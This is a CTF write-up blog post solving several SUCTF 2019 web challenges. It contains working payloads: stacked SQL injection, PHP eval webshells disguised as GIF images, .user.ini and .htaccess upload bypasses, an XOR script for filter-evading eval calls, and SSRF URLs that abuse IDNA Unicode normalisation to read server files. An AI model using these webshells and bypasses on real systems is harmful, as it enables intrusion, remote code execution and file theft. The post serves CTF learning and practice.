SUCTF2019

baozongwi Lv5

[SUCTF 2019]EasySQL

堆叠注入

首先查表

1
1;show tables;

如何查flag呢,猜测后端语句为

1
select $post['query']||flag from Flag

那么涉及特性

SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。

1
2
3
4
select 1||'flag';
1flag

我们执行select concat(1,flag) from Flag即可得到flag

payload

1
2
3
1;set sql_mode=PIPES_AS_CONCAT;select 1
后台为
select 1;set sql_mode=PIPES_AS_CONCAT;select concat(1,flag) from Flag

还有一种是直接查

当引擎未被打开时

1
2
3
4
5
6
7
8
select 1||'flag'
1

select 0||'flag'
0

select 'a'||'flag'
0

那么payload如下

1
2
3
1;select *,1
后台为
select 1;select *,1 from Flag

[SUCTF 2019]CheckIn

.user.ini即可绕过

1
2
3
4
.user.ini

GIF89a
auto_prepend_file=a.jpg
1
2
3
4
a.jpg

GIF89a
<script language='php'>@eval($_POST[1]);</script>

就可以getshell

1
2
3
Your dir uploads/0211dc66bfdf20bb5c17ed485cf67119
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "a.jpg" [3]=> string(9) "index.php" }

看包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Request:

POST /index.php HTTP/1.1
Host: 7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjhAmoP5dcNO7Ozj3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryjhAmoP5dcNO7Ozj3
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF89a
auto_prepend_file=a.jpg
------WebKitFormBoundaryjhAmoP5dcNO7Ozj3
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryjhAmoP5dcNO7Ozj3--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Response:

HTTP/1.1 200 OK
Server: openresty
Date: Sun, 11 Aug 2024 03:34:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache
Content-Length: 768

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

Your dir uploads/0211dc66bfdf20bb5c17ed485cf67119 <br>Your files : <br>array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) ".user.ini"
[3]=>
string(5) "a.jpg"
[4]=>
string(9) "index.php"
}

图片的包就不用看了吧?

1
2
3
4
http://7cf17c12-08e9-4e85-969b-ecc9abdf62b7.node5.buuoj.cn/uploads/0211dc66bfdf20bb5c17ed485cf67119/

POST:
a=system("tac /f*");

[SUCTF 2019]Pythonginx

应该算是一个ssrf

ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

域名绕过前两个判断不为suctf.cc但是经过编码又必须为suctf.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse

url = "http:////def"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)

#SplitResult(scheme='http', netloc='', path='//def', query='', fragment='')
#SplitResult(scheme='http', netloc='def', path='', query='', fragment='')

这样子是可以绕过的

nginx

Nginx (engine x) 是一个高性能的HTTP 反向代理 web服务器,同时也提供了IMAP/POP3/SMTP服务。

nginx和apache区别:https://cloud.tencent.com/developer/article/1635326

1
2
3
4
5
6
7
8
9
#配置
配置文件: /usr/local/nginx/conf/nginx.conf
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

然后我们用file协议查看就可以了

1
2
3
/getUrl?url=file:////suctf.cc/usr/local/nginx/conf/nginx.conf

/getUrl?url=file:////suctf.cc/usr/fffffflag

idna

这题还有另外的绕过方法

1
2
3
4
5
import idna

url = "℆"
print('℆'.encode('idna'))
print(b'c/u'.decode('utf-8'))

通过特殊符号由于源码中说明了idna编码的问题,可以选择这样子绕过

1
/getUrl?url=file:////suctf.c℆sr/fffffflag

unicode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if __name__=="__main__":
get_unicode()

# str: ℂ unicode: \u2102
# str: ℭ unicode: \u212d
# str: Ⅽ unicode: \u216d
# str: ⅽ unicode: \u217d
# str: Ⓒ unicode: \u24b8
# str: ⓒ unicode: \u24d2
# str: C unicode: \uff23
# str: c unicode: \uff43

随便选一个进行url编码即可绕过(必须是全编)

1
/getUrl?url=file:////suctf.c%E2%93%92/user/fffffflag

[SUCTF 2019]EasyWeb

文件上传外加RCE绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
  • 图片格式

  • 不能有ph

  • 不能有<?

  • 参数中字符的种类数量是否超过 12 种

  • 参数的长度是否超过 18 个字符

  • ! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }

我们构造${_GET}{%ff}();&%ff=phpinfo

异或脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$payload = '';
$x = '_GET';
for($i = 0; $i < strlen($x); $i++){
for ($j = 0; $j < 255; $j++){
$k = chr($j) ^ chr(248);
if ($k == $x[$i]) {
$payload .= '%'.dechex($j);
}
}
}
echo '%f8%f8%f8%f8^'.$payload;
?>
1
2
3
?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=phpinfo

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

然后就得到flag了但是没有getshell继续

然后就是上传文件但是没有切入点那就用脚本,文件内容

1
2
3
4
poc.jpg:

GIF89a
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

然后绕过可以有两种

1
2
3
4
\x00\x00\x8a\x39\x8a\x39

#define width 1337
#define height 1337
1
2
3
4
5
6
.htaccess:

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

上传文件的HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://11973075-4e71-40d4-bca4-fec6b297d135.node5.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%A0}();&%A0=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

路径

1
2
upload/tmp_0211dc66bfdf20bb5c17ed485cf67119/.htaccess
upload/tmp_0211dc66bfdf20bb5c17ed485cf67119/poc.jpg

然后我就发现不能getshell,忘了一个细节base64解码是四位一组,所以还得添加2位

1
2
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

链接antsword找到flag

[SUCTF 2019]Upload Labs 2

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include 'config.php';

class Ad{

public $cmd;

public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;

function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

$this->cmd = $cmd;

$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}

function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
system($this->cmd);
}
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

phar反序列化,看不懂思密达

  • Title: SUCTF2019
  • Author: baozongwi
  • Created at : 2024-08-11 10:42:05
  • Updated at : 2024-09-14 15:46:18
  • Link: https://baozongwi.xyz/2024/08/11/SUCTF2019/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments